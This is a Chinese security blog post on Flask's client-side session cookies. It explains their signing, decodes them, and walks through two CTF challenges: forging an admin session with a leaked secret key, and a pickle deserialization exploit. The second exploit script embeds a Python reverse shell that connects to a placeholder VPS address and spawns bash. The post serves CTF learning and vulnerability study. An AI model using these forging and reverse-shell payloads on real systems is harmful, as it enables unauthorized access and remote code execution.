flask的session问题

admin 2022年1月6日01:27:23安全博客 CTF专场评论9 views8548字阅读28分29秒阅读模式

Flask的session是存储在客户端的(可以通过HTTP请求头Cookie字段的session获取),Flask只对数据进行了签名(防篡改)没有进行加密,session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

session机制

详细可以看此文章:
flask 源码解析:session
引用p师傅的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class SecureCookieSessionInterface(SessionInterface):
serializer = session_json_serializer
session_class = SecureCookieSession

def get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(app.secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)

def open_session(self, app, request):
s = self.get_signing_serializer(app)
if s is None:
return None
val = request.cookies.get(app.session_cookie_name)
if not val:
return self.session_class()
max_age = total_seconds(app.permanent_session_lifetime)
try:
data = s.loads(val, max_age=max_age)
return self.session_class(data)
except BadSignature:
return self.session_class()

def save_session(self, app, session, response):
domain = self.get_cookie_domain(app)
path = self.get_cookie_path(app)
if not self.should_set_cookie(app, session):
return
httponly = self.get_cookie_httponly(app)
secure = self.get_cookie_secure(app)
expires = self.get_expiration_time(app, session)
val = self.get_signing_serializer(app).dumps(dict(session))
response.set_cookie(app.session_cookie_name, val,
expires=expires, httponly=httponly,
domain=domain, path=path, secure=secure)

主要看最后两行代码,新建了URLSafeTimedSerializer类 ,用它的dumps方法将类型为字典的session对象序列化成字符串,然后用response.set_cookie将最后的内容保存在cookie中。
URLSafeTimedSerialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
class Signer(object):
# ...
def sign(self, value):
"""Signs the given string."""
return value + want_bytes(self.sep) + self.get_signature(value)

def get_signature(self, value):
"""Returns the signature for the given value"""
value = want_bytes(value)
key = self.derive_key()
sig = self.algorithm.get_signature(key, value)
return base64_encode(sig)


class Serializer(object):
default_serializer = json
default_signer = Signer
# ....
def dumps(self, obj, salt=None):
"""Returns a signed string serialized with the internal serializer.
The return value can be either a byte or unicode string depending
on the format of the internal serializer.
"""
payload = want_bytes(self.dump_payload(obj))
rv = self.make_signer(salt).sign(payload)
if self.is_text_serializer:
rv = rv.decode('utf-8')
return rv

def dump_payload(self, obj):
"""Dumps the encoded object. The return value is always a
bytestring. If the internal serializer is text based the value
will automatically be encoded to utf-8.
"""
return want_bytes(self.serializer.dumps(obj))


class URLSafeSerializerMixin(object):
"""Mixed in with a regular serializer it will attempt to zlib compress
the string to make it shorter if necessary. It will also base64 encode
the string so that it can safely be placed in a URL.
"""
def load_payload(self, payload):
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
json = base64_decode(payload)
except Exception as e:
raise BadPayload('Could not base64 decode the payload because of '
'an exception', original_error=e)
if decompress:
try:
json = zlib.decompress(json)
except Exception as e:
raise BadPayload('Could not zlib decompress the payload before '
'decoding the payload', original_error=e)
return super(URLSafeSerializerMixin, self).load_payload(json)

def dump_payload(self, obj):
json = super(URLSafeSerializerMixin, self).dump_payload(obj)
is_compressed = False
compressed = zlib.compress(json)
if len(compressed) < (len(json) - 1):
json = compressed
is_compressed = True
base64d = base64_encode(json)
if is_compressed:
base64d = b'.' + base64d
return base64d


class URLSafeTimedSerializer(URLSafeSerializerMixin, TimedSerializer):
"""Works like :class:`TimedSerializer` but dumps and loads into a URL
safe string consisting of the upper and lowercase character of the
alphabet as well as ``'_'``, ``'-'`` and ``'.'``.
"""
default_serializer = compact_json

主要关注dump_payload、dumps,这是序列化session的主要过程。

可见,序列化的操作分如下几步:

  1. json.dumps 将对象转换成json字符串,作为数据
  2. 如果数据压缩后长度更短,则用zlib库进行压缩
  3. 将数据用base64编码
  4. 通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割

第4步就解决了用户篡改session的问题,因为在不知道secret_key的情况下,是无法伪造签名的。

session解密

session 在 cookie 中的值,是一个字符串,由句号分割成三个部分。第一部分是 base64 加密的数据,第二部分是时间戳,第三部分是校验信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
from itsdangerous import *
import time
s = "eyJ1c2VybmFtZSI6InllMXMifQ.XxU53w.L7_pVjkrwxpqtG1r8_RwZvMMWK0"
data,timestamp,secret = s.split('.')
print("data: ",base64_decode(data))
time_stamp=int.from_bytes(base64_decode(timestamp),byteorder='big')
time=time.strftime("%Y-%m-%d %H:%I%S",time.localtime(time_stamp))
print("time: ",time)


result:
data: b'{"username":"ye1s"}'
time: 2020-07-20 14:0251

P师傅的脚本解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import zlib
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
s="eyJ1c2VybmFtZSI6InllMXMifQ.XxU53w.L7_pVjkrwxpqtG1r8_RwZvMMWK0"#替换为你的session字符串
print(decryption(s.encode()))

例题

[HCTF 2018]admin

随便注册一个账号登录,在修改密码的地方,提示源码

1
https://github.com/woadsl1234/hctf_flask/

HCTF2018-admin

解法一:session伪造
注册一个账号后登入,抓包得到cookie的session,解密得

1
{'_fresh': True, '_id': b'fe143907fe0a678ebe8ceb972968e2f7b98bb5586f8db03defbde94a673235364017f31733e74b7fa98a1d2a163f0c7d7b776b3a68dc1ef96a392cd5c205af28', 'csrf_token': b'6298f03ac923b6b7006403d7a5ca798a645e338e', 'image': b'V7hq', 'name': 'test', 'user_id': '10'}

如果我们想要加密伪造生成自己想要的session还需要知道SECRET_KEY,在config.py里可以发现了SECRET_KEY。

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

一个flask session加密的脚本 https://github.com/noraj/flask-session-cookie-manager

利用刚刚得到的SECRET_KEY,在将解密出来的name改为admin,最后用脚本生成我们想要的session即可
加密

1
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'fe143907fe0a678ebe8ceb972968e2f7b98bb5586f8db03defbde94a673235364017f31733e74b7fa98a1d2a163f0c7d7b776b3a68dc1ef96a392cd5c205af28', 'csrf_token': b'6298f03ac923b6b7006403d7a5ca798a645e338e', 'image': b'V7hq', 'name': 'admin', 'user_id': '10'}"

虎符2021easyflask

存在任意文件读取,根据提示读取部分源码

file?file=/flask/source.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
# add secret key to enable session
# and this is a fake secret key, just an example
app.config['SECRET_KEY'] = 'ADD_YOUR_SECRET_KEY_HERE'

User = type('User', (object,), { 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, })

@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return render_template('in.html')

@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content

@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
except Exception:
return 'uhh?'
if __name__ == '__main__':
app.run('0.0.0.0', port=8008, debug=False)

file?file=/proc/self/environ 获取相关环境变量可得secret_key。
存在pickle反序列化,通过伪造session来触发反序列化反弹shell。

反弹shell部分生成

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
import requests
import pickle
import os
import base64


class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的VPS_ip地址",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return os.system, (s,)


e = exp()
s = pickle.dumps(e)

cookies=dict(
u=base64.b64encode(s).decode()
)
print cookies

一个flask session加密的脚本 https://github.com/noraj/flask-session-cookie-manager

参考文章:

Python Web之flask session&格式化字符串漏洞
客户端 session 导致的安全问题
从HCTF两道Web题谈谈flask客户端session机制
flask 源码解析:session

FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:27:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  flask的session问题 http://cn-sec.com/archives/721554.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: